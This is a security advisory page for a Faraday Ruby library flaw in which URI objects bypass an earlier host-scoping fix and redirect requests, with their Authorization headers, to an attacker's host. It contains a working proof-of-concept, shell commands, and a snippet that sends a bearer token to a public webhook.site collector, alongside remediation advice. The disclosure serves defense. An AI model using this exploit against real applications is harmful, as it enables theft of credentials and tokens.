CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
Lifecycle Timeline
2DescriptionCVE.org
Summary
Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.
Affected Component
- Repository File(s)/Endpoint(s):
lib/faraday/connection.rblib/faraday/request.rbspec/faraday/connection_spec.rbspec/faraday/request_spec.rb- Function(s):
Faraday::Connection#build_exclusive_urlFaraday::Connection#run_requestFaraday::Request#urlFaraday::Request#to_env- Version(s) Tested:
Faraday 2.14.1- repository HEAD
a01039c948d3e9e41e03d152aed7244f0fb4d5ca
Attacker Profile
- Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
- Access Required: Ability to supply data that the application converts to
URI.parse(...)and passes toconn.get(...),conn.post(...), orreq.url(...) - Capability: Control over a protocol-relative URI such as
URI("//evil.example/pwn")
Steps to Reproduce
- Use the current repository checkout and load Faraday from
lib/. - Build a fixed-base connection and provide a protocol-relative
URIobject toreq.url. - Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
- Observe that the connection-scoped
Authorizationheader remains attached to the off-host request.
Verification Evidence
- Environment: macOS, Ruby from local environment, Faraday
2.14.1,faraday-net_http, local WEBrick listener on127.0.0.1:4567, HEADa01039c948d3e9e41e03d152aed7244f0fb4d5ca - Commands executed:
$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'- PoC code (inline):
require "faraday"
require "faraday/net_http"
conn = Faraday.new(url: "http://trusted.example/base", headers: {
"Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }
target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))
puts resp.status
puts resp.body- Exit code:
0 - stdout (relevant excerpt):
200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn- stderr (relevant excerpt):
N/A- Artifacts: none
Additional External Confirmation
The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:
require "faraday"
require "faraday/net_http"
conn = Faraday.new(
url: "http://trusted.example/base",
headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }
target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.
Supporting Materials
- Existing advisory for the original string-based issue:
GHSA-33mh-2634-fwr2 - Existing CVE for the original string-based issue:
CVE-2026-25765 - Existing regression tests for the string-only fix:
spec/faraday/connection_spec.rb:314-345- Existing test proving supported
URIrequest input: spec/faraday/request_spec.rb:26-31
Impact
The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.
AnalysisAI
Off-host request forgery in the Faraday Ruby HTTP client library (versions 2.0.0-2.14.1) allows a remote unauthenticated attacker who can influence the per-request target to redirect HTTP requests - along with connection-scoped Authorization headers - to an arbitrary attacker-controlled host. This is a bypass of the February 2026 patch for CVE-2026-25765 (GHSA-33mh-2634-fwr2): the prior fix sanitized String inputs to Faraday::Connection#build_exclusive_url but failed to handle URI objects, which Ruby's URI parser resolves differently. Publicly available exploit code (proof-of-concept) exists and was independently confirmed against an external HTTP collector, demonstrating real-world credential exfiltration.
Technical ContextAI
Faraday (pkg:rubygems/faraday) is a widely-used Ruby HTTP client library providing a connection abstraction with configurable base URLs and default headers. The vulnerability is rooted in Faraday::Connection#build_exclusive_url and Faraday::Request#url (in lib/faraday/connection.rb and lib/faraday/request.rb). When a URI object containing a protocol-relative path such as //evil.example/pwn is passed instead of a String, the host-scoping validation introduced for GHSA-33mh-2634-fwr2 is never invoked because it only operates on the String code path. Ruby's URI class treats protocol-relative references as having an explicit (non-nil) host component, so the resulting URL resolves to the attacker's host while preserving all connection-scoped headers. The root cause class is CWE-918 (Server-Side Request Forgery): server-side code constructs an outbound HTTP request to a destination controlled by the attacker rather than the trusted base URL.
RemediationAI
Upgrade Faraday to version 2.14.2 or later, which is the vendor-released patch per GHSA-5rv5-xj5j-3484 (https://github.com/lostisland/faraday/security/advisories/GHSA-5rv5-xj5j-3484). Run bundle update faraday and pin to >= 2.14.2 in your Gemfile. If an immediate upgrade is blocked, apply a compensating control in application code: before passing any user-controlled value to Faraday, parse it with URI.parse() and explicitly reject it if the host component is non-nil and does not match the expected base host - e.g., raise ArgumentError if URI.parse(target).host && URI.parse(target).host != expected_host. Additionally, block inputs matching the pattern ^// (protocol-relative URI prefix) at the input validation layer. Note that these application-level controls must be applied at every call site that passes user-influenced values to Faraday; they carry a maintenance burden and are inferior to upgrading. Rotating any bearer tokens or API keys that may have transited a Faraday connection in applications exposed to untrusted input should be considered given that credential exfiltration is the primary demonstrated impact.
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-30966
GHSA-5rv5-xj5j-3484